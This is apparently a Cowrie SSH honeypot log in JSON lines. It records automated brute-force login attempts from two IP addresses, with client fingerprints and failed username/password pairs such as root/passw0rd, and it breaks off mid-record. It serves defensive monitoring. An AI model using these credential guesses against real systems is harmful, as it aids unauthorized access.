{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:59.470940Z","src_ip":"192.109.200.78","session":"f8195093aef8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:59.552686Z","src_ip":"192.109.200.78","session":"f8195093aef8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:59.587715Z","src_ip":"176.65.139.95","session":"d789dc3cc6aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lenovo","password":"lenovo","message":"login attempt [lenovo/lenovo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:19:59.801998Z","src_ip":"192.109.200.78","session":"f8195093aef8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:00.848931Z","src_ip":"176.65.139.95","session":"d789dc3cc6aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:01.016295Z","src_ip":"192.109.200.78","session":"f8195093aef8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55768,"dst_ip":"159.203.135.109","dst_port":22,"session":"1edf6fa95306","protocol":"ssh","message":"New connection: 192.109.200.78:55768 (159.203.135.109:22) [session: 1edf6fa95306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:03.440646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:03.446232Z","src_ip":"192.109.200.78","session":"1edf6fa95306","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:03.652175Z","src_ip":"192.109.200.78","session":"1edf6fa95306","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:03.965154Z","src_ip":"192.109.200.78","session":"1edf6fa95306","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:05.050920Z","src_ip":"192.109.200.78","session":"1edf6fa95306","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":49074,"dst_ip":"159.203.135.109","dst_port":22,"session":"b575f491a861","protocol":"ssh","message":"New connection: 176.65.139.95:49074 (159.203.135.109:22) [session: b575f491a861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:05.935607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:05.946759Z","src_ip":"176.65.139.95","session":"b575f491a861","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:06.033747Z","src_ip":"176.65.139.95","session":"b575f491a861","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"infra","password":"infra","message":"login attempt [infra/infra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:06.740656Z","src_ip":"176.65.139.95","session":"b575f491a861","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55780,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3a78b1c69ae","protocol":"ssh","message":"New connection: 192.109.200.78:55780 (159.203.135.109:22) [session: a3a78b1c69ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:07.596197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:07.601373Z","src_ip":"192.109.200.78","session":"a3a78b1c69ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:07.689894Z","src_ip":"192.109.200.78","session":"a3a78b1c69ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:07.845394Z","src_ip":"176.65.139.95","session":"b575f491a861","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:07.940533Z","src_ip":"192.109.200.78","session":"a3a78b1c69ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:09.030560Z","src_ip":"192.109.200.78","session":"a3a78b1c69ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44032,"dst_ip":"159.203.135.109","dst_port":22,"session":"db6b9368e4a5","protocol":"ssh","message":"New connection: 192.109.200.78:44032 (159.203.135.109:22) [session: db6b9368e4a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:11.594201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:11.598766Z","src_ip":"192.109.200.78","session":"db6b9368e4a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:11.685511Z","src_ip":"192.109.200.78","session":"db6b9368e4a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:12.123855Z","src_ip":"192.109.200.78","session":"db6b9368e4a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":42954,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4ae56aed6f5","protocol":"ssh","message":"New connection: 176.65.139.95:42954 (159.203.135.109:22) [session: f4ae56aed6f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:12.768643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:12.783020Z","src_ip":"176.65.139.95","session":"f4ae56aed6f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:12.920199Z","src_ip":"176.65.139.95","session":"f4ae56aed6f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:13.212235Z","src_ip":"192.109.200.78","session":"db6b9368e4a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:13.680843Z","src_ip":"176.65.139.95","session":"f4ae56aed6f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:14.766791Z","src_ip":"176.65.139.95","session":"f4ae56aed6f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44040,"dst_ip":"159.203.135.109","dst_port":22,"session":"316bdbc1ebae","protocol":"ssh","message":"New connection: 192.109.200.78:44040 (159.203.135.109:22) [session: 316bdbc1ebae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:15.722444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:15.732248Z","src_ip":"192.109.200.78","session":"316bdbc1ebae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:15.824763Z","src_ip":"192.109.200.78","session":"316bdbc1ebae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"123456","message":"login attempt [aiuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:16.095760Z","src_ip":"192.109.200.78","session":"316bdbc1ebae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:17.186257Z","src_ip":"192.109.200.78","session":"316bdbc1ebae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":43648,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e91f97bcc36","protocol":"ssh","message":"New connection: 176.65.139.95:43648 (159.203.135.109:22) [session: 9e91f97bcc36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:19.588394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:19.614038Z","src_ip":"176.65.139.95","session":"9e91f97bcc36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37954,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a42cbd5ca29","protocol":"ssh","message":"New connection: 192.109.200.78:37954 (159.203.135.109:22) [session: 4a42cbd5ca29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:19.732915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:19.740674Z","src_ip":"192.109.200.78","session":"4a42cbd5ca29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:20:19.826109Z","src_ip":"192.109.200.78","session":"4a42cbd5ca29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openss